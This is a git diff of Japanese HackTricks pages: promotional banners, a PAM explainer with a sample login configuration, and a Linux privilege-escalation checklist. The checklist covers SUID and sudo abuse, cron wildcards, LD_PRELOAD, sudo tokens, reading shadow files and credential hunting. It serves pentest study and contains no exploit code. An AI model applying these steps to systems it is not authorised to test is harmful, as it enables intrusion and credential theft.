![](<../.gitbook/assets/image (715).png>) ![](<../.gitbook/assets/image (715).png>)
@ -131,16 +132,17 @@ Root:
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** をフォローする**
* **HackTricks****HackTricks Cloud** の github リポジトリに PR を提出して、あなたのハッキングテクニックを共有する
</details> </details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# PAM - Pluggable Authentication Modules # PAM - Pluggable Authentication Modules
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
HackTricksをサポートする他の方法 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)で**フォロー**する。
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io) #### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 [**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ** によって駆動される検索エンジンで、企業やその顧客が **盗難マルウェア** によって **侵害** されているかどうかを確認するための **無料** 機能を提供します。
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 WhiteIntel の主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます: 彼らのウェブサイトをチェックし、**無料** でエンジンを試すことができます:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
@ -30,14 +31,14 @@ WhiteIntelの主な目標は、情報窃取マルウェアによるアカウン
### 基本情報 ### 基本情報
**PAMPluggable Authentication Modules**は、コンピューターサービスにアクセスしようとするユーザーの身元を**検証**し、さまざまな基準に基づいてアクセスを制御するセキュリティメカニズムとして機能します。これはデジタルの門番のようなものであり、特定のサービスにのみ認証されたユーザーが関わることを確認し、システムの過負荷を防ぐために使用を制限する可能性があります。 **PAM (Pluggable Authentication Modules)** は、**コンピュータサービスにアクセスしようとするユーザーの身元を確認する** セキュリティメカニズムとして機能し、さまざまな基準に基づいてアクセスを制御します。これはデジタルゲートキーパーのようなもので、認可されたユーザーのみが特定のサービスに関与できるようにし、システムの過負荷を防ぐために使用を制限することがあります。
#### 設定ファイル #### 設定ファイル
- **SolarisおよびUNIXベースのシステム**は通常、`/etc/pam.conf`にある中央の設定ファイルを使用します。 * **Solaris および UNIX ベースのシステム** は、通常 `/etc/pam.conf` にある中央設定ファイルを利用します。
- **Linuxシステム**はディレクトリアプローチを好み、サービス固有の設定を`/etc/pam.d`内に保存します。たとえば、ログインサービスの設定ファイルは`/etc/pam.d/login`にあります。 * **Linux システム** は、サービス固有の設定を `/etc/pam.d` に保存するディレクトリアプローチを好みます。たとえば、ログインサービスの設定ファイルは `/etc/pam.d/login` にあります。
ログインサービスのPAM構成の例は次のようになります ログインサービスの PAM 設定の例は次のようになります:
``` ```
auth required /lib/security/pam_securetty.so auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_nologin.so auth required /lib/security/pam_nologin.so
@ -52,52 +53,53 @@ session required /lib/security/pam_unix_session.so
``` ```
#### **PAM管理領域** #### **PAM管理領域**
これらの領域、または管理グループには、**auth**、**account**、**password**、**session**が含まれ、それぞれ認証およびセッション管理プロセスの異なる側面に責任を持ちます: これらの領域、または管理グループには、**auth**、**account**、**password**、および**session**が含まれ、それぞれ認証およびセッション管理プロセスの異なる側面を担当しています:
- **Auth**: ユーザーのアイデンティティを検証し、しばしばパスワードを求めることによって行います。 * **Auth**: ユーザーの身元を確認し、通常はパスワードの入力を促します。
- **Account**: グループメンバーシップや時間制限などの条件をチェックしてアカウントを処理します。 * **Account**: アカウントの検証を処理し、グループメンバーシップや時間制限などの条件を確認します。
- **Password**: 複雑さのチェックや辞書攻撃の防止など、パスワードの更新を管理します。 * **Password**: パスワードの更新を管理し、複雑さのチェックや辞書攻撃の防止を含みます。
- **Session**: サービスセッションの開始や終了中にアクションを管理し、ディレクトリのマウントやリソース制限の設定などを行います。 * **Session**: サービスセッションの開始または終了時のアクションを管理し、ディレクトリのマウントやリソース制限の設定などを行います。
#### **PAMモジュール制御** #### **PAMモジュール制御**
制御はモジュールの成功または失敗に対する応答を決定し、全体的な認証プロセスに影響を与えます。これには次のものが含まれます: 制御はモジュールの成功または失敗に対する応答を決定し、全体の認証プロセスに影響を与えます。これには以下が含まれます:
- **Required**: 必須モジュールの失敗は最終的に失敗につながりますが、すべての後続モジュールがチェックされた後にのみ失敗します。 * **Required**: 必須モジュールの失敗は最終的な失敗を引き起こしますが、すべての後続モジュールがチェックされた後にのみ発生します。
- **Requisite**: 失敗時にプロセスが直ちに終了します。 * **Requisite**: 失敗時にプロセスを即座に終了します。
- **Sufficient**: 成功すると、後続のモジュールが失敗しない限り、同じ領域のチェックをバイパスします。 * **Sufficient**: 成功は同じ領域の残りのチェックをバイパスしますが、後続のモジュールが失敗した場合は除きます。
- **Optional**: スタック内で唯一のモジュールの場合にのみ失敗の原因となります。 * **Optional**: スタック内で唯一のモジュールである場合にのみ失敗を引き起こします。
#### シナリオ #### 例のシナリオ
複数の認証モジュールを持つセットアップでは、プロセスは厳密な順序に従います。`pam_securetty`モジュールがログイン端末を認証できないと判断した場合、rootログインがブロックされますが、その「必須」ステータスのため、すべてのモジュールが処理されます。`pam_env`は環境変数を設定し、ユーザーエクスペリエンスの向上に役立つ可能性があります。`pam_ldap`および`pam_unix`モジュールはユーザーの認証に協力し、`pam_unix`は以前に提供されたパスワードを使用しようとします。これにより、認証方法の効率性と柔軟性が向上します。 複数のauthモジュールを持つセットアップでは、プロセスは厳格な順序に従います。`pam_securetty`モジュールがログイン端末を不正と見なすと、rootログインはブロックされますが、その「必須」ステータスのためにすべてのモジュールは処理され続けます。`pam_env`は環境変数を設定し、ユーザーエクスペリエンスを向上させる可能性があります。`pam_ldap`と`pam_unix`モジュールは協力してユーザーを認証し、`pam_unix`は以前に提供されたパスワードを使用しようとし、認証方法の効率と柔軟性を高めます。
### 参考文献 ### 参考文献
- [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434) * [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
#### [WhiteIntel](https://whiteintel.io) #### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 [**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**stealer malwares**によって**侵害**されているかどうかを確認するための**無料**機能を提供しています。
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます: 彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
- [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
- **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>
{% endhint %}

View file

@ -1,133 +1,135 @@
# チェックリスト - Linux特権昇格 # チェックリスト - Linux特権昇格
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使って、<strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details> </details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
**ハッキングの洞察**\ **ハッキングインサイト**\
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
**リアルタイムハックニュース**\ **リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、ハッキングの世界を最新の状態に保ちましょう リアルタイムのニュースとインサイトを通じて、急速に進化するハッキングの世界を把握しましょう
**最新のアナウンスメント**\ **最新のお知らせ**\
最新のバグバウンティの開始や重要なプラットフォームのアップデートについて情報を得ましょう 新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう
**Discord**で[**参加**](https://discord.com/invite/N3FrSbmwdy)し、今日からトップハッカーと協力しましょう! **[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーとコラボレーションを始めましょう!**
### **Linuxローカル特権昇格ベクターを探すための最良のツール:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) ### **Linuxローカル特権昇格ベクトルを探すための最良のツール:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
### [システム情報](privilege-escalation/#system-information) ### [システム情報](privilege-escalation/#system-information)
- [ ] **OS情報を取得** * [ ] **OS情報を取得**
- [ ] [**PATH**](privilege-escalation/#path)をチェックし、**書き込み可能なフォルダ**はあるか? * [ ] [**PATH**](privilege-escalation/#path)を確認し、**書き込み可能なフォルダー**はありますか?
- [ ] [**環境変数**](privilege-escalation/#env-info)をチェックし、機密情報はあるか? * [ ] [**env変数**](privilege-escalation/#env-info)を確認し、機密情報はありますか?
- [ ] スクリプトを使用して[**カーネルの脆弱性**](privilege-escalation/#kernel-exploits)を検索するDirtyCowなど * [ ] [**カーネルエクスプロイト**](privilege-escalation/#kernel-exploits)を**スクリプトを使用して**検索DirtyCow
- [ ] [**sudoバージョンが脆弱**](privilege-escalation/#sudo-version)かどうかをチェック * [ ] [**sudoバージョン**が脆弱かどうかを確認](privilege-escalation/#sudo-version)
- [ ] [**Dmesg**署名検証に失敗](privilege-escalation/#dmesg-signature-verification-failed) * [ ] [**Dmesg**の署名検証に失敗しました](privilege-escalation/#dmesg-signature-verification-failed)
- [ ] その他のシステム列挙日付、システム統計、CPU情報、プリンタを実行する[**(詳細はこちら)**](privilege-escalation/#more-system-enumeration) * [ ] さらなるシステム列挙([日付、システム統計、CPU情報、プリンター](privilege-escalation/#more-system-enumeration)
- [ ] [さらなる防御策を列挙](privilege-escalation/#enumerate-possible-defenses) * [ ] [さらなる防御を列挙](privilege-escalation/#enumerate-possible-defenses)
### [ドライブ](privilege-escalation/#drives) ### [ドライブ](privilege-escalation/#drives)
- [ ] マウントされたドライブをリストアップ * [ ] **マウントされた**ドライブをリスト
- [ ] マウントされていないドライブはあるか? * [ ] **アンマウントされたドライブはありますか?**
- [ ] fstabにクレデンシャルはあるか * [ ] **fstabにクレデンシャルはありますか**
### [**インストールされたソフトウェア**](privilege-escalation/#installed-software) ### [**インストールされたソフトウェア**](privilege-escalation/#installed-software)
- [ ] **インストールされた**[ **有用なソフトウェア**](privilege-escalation/#useful-software)をチェック * [ ] **インストールされた**[ **便利なソフトウェア**](privilege-escalation/#useful-software)を確認
- [ ] **インストールされた**[**脆弱なソフトウェア**](privilege-escalation/#vulnerable-software-installed)をチェック * [ ] **インストールされた**[ **脆弱なソフトウェア**](privilege-escalation/#vulnerable-software-installed)を確認
### [プロセス](privilege-escalation/#processes) ### [プロセス](privilege-escalation/#processes)
- [ ] **不明なソフトウェアが実行中**か? * [ ] **不明なソフトウェアが実行されていますか?**
- [ ] **必要以上の権限で実行されているソフトウェア**があるか? * [ ] **必要以上の特権で実行されているソフトウェアはありますか?**
- [ ] 実行中のプロセスの**脆弱性を検索**する(特に実行中のバージョン) * [ ] **実行中のプロセスのエクスプロイトを検索**(特に実行中のバージョン)。
- [ ] 実行中のプロセスのバイナリを**変更**できるか? * [ ] **実行中のプロセスのバイナリを変更できますか?**
- [ ] プロセスを**監視**し、興味深いプロセスが頻繁に実行されていないか確認する * [ ] **プロセスを監視**し、興味深いプロセスが頻繁に実行されているか確認します。
- [ ] 興味深い**プロセスメモリ**(パスワードが保存されている可能性がある場所)を**読み取る**ことができるか? * [ ] **興味深いプロセスメモリを**(パスワードが保存されている可能性がある場所)**読み取ることができますか?**
### [スケジュールされた/Cronジョブ](privilege-escalation/#scheduled-jobs) ### [スケジュールされた/cronジョブ](privilege-escalation/#scheduled-jobs)
- [ ] 一部のcronによって[**PATH** ](privilege-escalation/#cron-path)が変更され、書き込み可能になっているか? * [ ] [**PATH**](privilege-escalation/#cron-path)がcronによって変更されており、**書き込み**が可能ですか?
- [ ] クロンジョブに[**ワイルドカード** ](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection)があるか? * [ ] cronジョブに**ワイルドカード**はありますか?[**スクリプトを使用したワイルドカードの注入**](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection)
- [ ] 実行されている[**変更可能なスクリプト** ](privilege-escalation/#cron-script-overwriting-and-symlink)があるか、または変更可能なフォルダ内にあるか? * [ ] **変更可能なスクリプト**が**実行されている**か、**変更可能なフォルダー**内にありますか?
- [ ] いくつかのスクリプトが非常に**頻繁に実行**されていることを検出しましたか1分、2分、5分ごと * [ ] **スクリプトが非常に頻繁に実行されている**ことを検出しましたか毎分1回、2回、または5回
### [サービス](privilege-escalation/#services) ### [サービス](privilege-escalation/#services)
- [ ] 書き込み可能な.serviceファイルはありますか? * [ ] **書き込み可能な.service**ファイルはありますか?
- [ ] サービスによって実行される**書き込み可能なバイナリ**はありますか? * [ ] **サービスによって実行される書き込み可能なバイナリ**はありますか?
- [ ] systemd PATH内に**書き込み可能なフォルダ**はありますか? * [ ] **systemd PATH内の書き込み可能なフォルダー**はありますか?
### [タイマー](privilege-escalation/#timers) ### [タイマー](privilege-escalation/#timers)
- [ ] 書き込み可能な**タイマー**はありますか? * [ ] **書き込み可能なタイマー**はありますか?
### [ソケット](privilege-escalation/#sockets) ### [ソケット](privilege-escalation/#sockets)
- [ ] 書き込み可能な.socketファイルはありますか? * [ ] **書き込み可能な.socket**ファイルはありますか?
- [ ] 任意のソケットと**通信**できますか? * [ ] **任意のソケットと通信できますか?**
- [ ] 興味深い情報を持つ**HTTPソケット**はありますか? * [ ] **興味深い情報を持つHTTPソケット**はありますか?
### [D-Bus](privilege-escalation/#d-bus) ### [D-Bus](privilege-escalation/#d-bus)
- [ ] 任意のD-Busと**通信**できますか? * [ ] **任意のD-Busと通信できますか**
### [ネットワーク](privilege-escalation/#network) ### [ネットワーク](privilege-escalation/#network)
- ネットワークを列挙して、自分がどこにいるかを知る * [ ] ネットワークを列挙して、どこにいるかを知る
- シェルを取得する前にアクセスできなかった**オープンポート**はありますか? * [ ] **シェルを取得する前にアクセスできなかったオープンポートはありますか?**
- `tcpdump`を使用してトラフィックを**スニッフィング**できますか? * [ ] `tcpdump`を使用して**トラフィックをスニッフィング**できますか?
### [ユーザー](privilege-escalation/#users) ### [ユーザー](privilege-escalation/#users)
- 一般的なユーザー/グループを**列挙** * [ ] 一般的なユーザー/グループの**列挙**
- **非常に大きなUID**を持っていますか?**マシン****脆弱**ですか? * [ ] **非常に大きなUID**を持っていますか?**マシンは脆弱ですか?**
- 所属しているグループを通じて特権を昇格できますか? * **所属するグループのおかげで**[**特権を昇格できますか?**](privilege-escalation/interesting-groups-linux-pe/)
- **クリップボード**のデータは * [ ] **クリップボード**データはありますか
- パスワードポリシーは? * [ ] パスワードポリシーは?
- 以前に発見した**すべての既知のパスワード**を使用して、**各**可能な**ユーザー**でログインできるか試してください。パスワードなしでもログインできるかもしれません。 * **以前に発見したすべての**[**既知のパスワードを使用して、各**ユーザー**でログインを試みてください。パスワードなしでのログインも試みてください。**
### [書き込み可能なPATH](privilege-escalation/#writable-path-abuses) ### [書き込み可能なPATH](privilege-escalation/#writable-path-abuses)
- PATH内の**いくつかのフォルダに書き込み権限**がある場合、特権を昇格できるかもしれません * [ ] **PATH内のフォルダーに書き込み権限がある場合、特権を昇格できる可能性があります。**
### [SUDOおよびSUIDコマンド](privilege-escalation/#sudo-and-suid) ### [SUDOおよびSUIDコマンド](privilege-escalation/#sudo-and-suid)
- **sudoで任意のコマンドを実行**できますか?それを使用して、ルートとして**読み取り、書き込み、実行**できますか?([**GTFOBins**](https://gtfobins.github.io) * [ ] **sudoで任意のコマンドを実行できますか** rootとして何かを読み取り、書き込み、または実行できますか ([**GTFOBins**](https://gtfobins.github.io))
- **悪用可能なSUIDバイナリ**がありますか?([**GTFOBins**](https://gtfobins.github.io) * [ ] **エクスプロイト可能なSUIDバイナリはありますか** ([**GTFOBins**](https://gtfobins.github.io))
- [**sudo**コマンドが**パス**で**制限**されていますか?制限を**バイパス**できますか](privilege-escalation/#sudo-execution-bypassing-paths)? * [ ] [**sudoコマンドは**パスによって**制限されていますか?** 制限を**回避**できますか?](privilege-escalation/#sudo-execution-bypassing-paths)
- [**パスが指定されていないSudo/SUIDバイナリ**](privilege-escalation/#sudo-command-suid-binary-without-command-path)がありますか? * [ ] [**パスが指定されていないSudo/SUIDバイナリ**](privilege-escalation/#sudo-command-suid-binary-without-command-path)はありますか?
- [**パスが指定されているSUIDバイナリ**](privilege-escalation/#suid-binary-with-command-path)はありますか?バイパス * [ ] [**パスを指定したSUIDバイナリ**](privilege-escalation/#suid-binary-with-command-path) バイパス
- [**LD\_PRELOAD脆弱性**](privilege-escalation/#ld\_preload) * [ ] [**LD\_PRELOAD脆弱性**](privilege-escalation/#ld\_preload)
- 書き込み可能なフォルダからのSUIDバイナリに**.soライブラリが不足**していますか?([**詳細はこちら**](privilege-escalation/#suid-binary-so-injection) * [ ] **書き込み可能なフォルダーからのSUIDバイナリにおける.soライブラリの欠如**はありますか?
- [**SUDOトークンが利用可能**](privilege-escalation/#reusing-sudo-tokens)ですか?[**SUDOトークンを作成**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)できますか? * [ ] [**利用可能なSUDOトークン**](privilege-escalation/#reusing-sudo-tokens) [**SUDOトークンを作成できますか**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)
- [**sudoersファイルを読み取る**](privilege-escalation/#etc-sudoers-etc-sudoers-d)ことができますか? * [ ] [**sudoersファイルを読み取ったり変更したりできますか**](privilege-escalation/#etc-sudoers-etc-sudoers-d)
- [**/etc/ld.so.conf.d/**を**変更**できますか?([**詳細はこちら**](privilege-escalation/#etc-ld-so-conf-d) * [ ] [**/etc/ld.so.conf.d/**を**変更できますか?**](privilege-escalation/#etc-ld-so-conf-d)
- [**OpenBSD DOAS**](privilege-escalation/#doas)コマンド * [ ] [**OpenBSD DOAS**](privilege-escalation/#doas)コマンド
### [機能](privilege-escalation/#capabilities)
* [ ] どのバイナリにも**予期しない機能**がありますか? ### [能力](privilege-escalation/#capabilities)
* [ ] いずれかのバイナリに**予期しない能力**がありますか?
### [ACL](privilege-escalation/#acls) ### [ACL](privilege-escalation/#acls)
* [ ] どのファイルにも**予期しないACL**がありますか? * [ ] いずれかのファイルに**予期しないACL**がありますか?
### [オープンシェルセッション](privilege-escalation/#open-shell-sessions) ### [オープンシェルセッション](privilege-escalation/#open-shell-sessions)
@ -136,16 +138,16 @@ HackTricksをサポートする他の方法
### [SSH](privilege-escalation/#ssh) ### [SSH](privilege-escalation/#ssh)
* [ ] **Debian** [**OpenSSL Predictable PRNG - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166) * [ ] **Debian** [**OpenSSL予測可能PRNG - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166)
* [ ] [**SSH興味深い構成値**](privilege-escalation/#ssh-interesting-configuration-values) * [ ] [**SSHの興味深い設定値**](privilege-escalation/#ssh-interesting-configuration-values)
### [興味深いファイル](privilege-escalation/#interesting-files) ### [興味深いファイル](privilege-escalation/#interesting-files)
* [ ] **プロファイルファイル** - 機密データを読む?権限昇格に書き込む? * [ ] **プロファイルファイル** - 機密データを読み取る? プライベートエスカレーションに書き込む?
* [ ] **passwd/shadowファイル** - 機密データを読む?権限昇格に書き込む? * [ ] **passwd/shadowファイル** - 機密データを読み取る? プライベートエスカレーションに書き込む?
* [ ] **一般的に興味深いフォルダ**に機密データがあるかどうかを確認 * [ ] 機密データのために**一般的に興味深いフォルダ**を確認
* [ ] **奇妙な場所/所有ファイル**、アクセス権があるか実行可能ファイルを変更できるかもしれません * [ ] **奇妙な場所/所有ファイル、**アクセスできるか、実行可能ファイルを変更できるかもしれません
* [ ] 最後の数分で**変更** * [ ] **最近数分で変更された**
* [ ] **Sqlite DBファイル** * [ ] **Sqlite DBファイル**
* [ ] **隠しファイル** * [ ] **隠しファイル**
* [ ] **PATH内のスクリプト/バイナリ** * [ ] **PATH内のスクリプト/バイナリ**
@ -154,29 +156,44 @@ HackTricksをサポートする他の方法
* [ ] **パスワードを含む既知のファイル****Linpeas**と**LaZagne**を使用 * [ ] **パスワードを含む既知のファイル****Linpeas**と**LaZagne**を使用
* [ ] **一般的な検索** * [ ] **一般的な検索**
### [**書き込み可能ファイル**](privilege-escalation/#writable-files) ### [**書き込み可能ファイル**](privilege-escalation/#writable-files)
* [ ] **Pythonライブラリを変更**して任意のコマンドを実行できますか? * [ ] **任意のコマンドを実行するためにpythonライブラリを変更できますか**
* [ ] **ログファイルを変更**できますか? **Logtotten** exploit * [ ] **ログファイルを変更できますか?** **Logtotten**エクスプロイト
* [ ] **/etc/sysconfig/network-scripts/**を変更できますか? Centos/Redhat exploit * [ ] **/etc/sysconfig/network-scripts/**を変更できますか? Centos/Redhatエクスプロイト
* [ ] [**ini、int.d、systemd、またはrc.dファイルに書き込むことができますか**](privilege-escalation/#init-init-d-systemd-and-rc-d)? * [ ] [**ini、int.d、systemd、またはrc.dファイルに書き込むことができますか**](privilege-escalation/#init-init-d-systemd-and-rc-d)
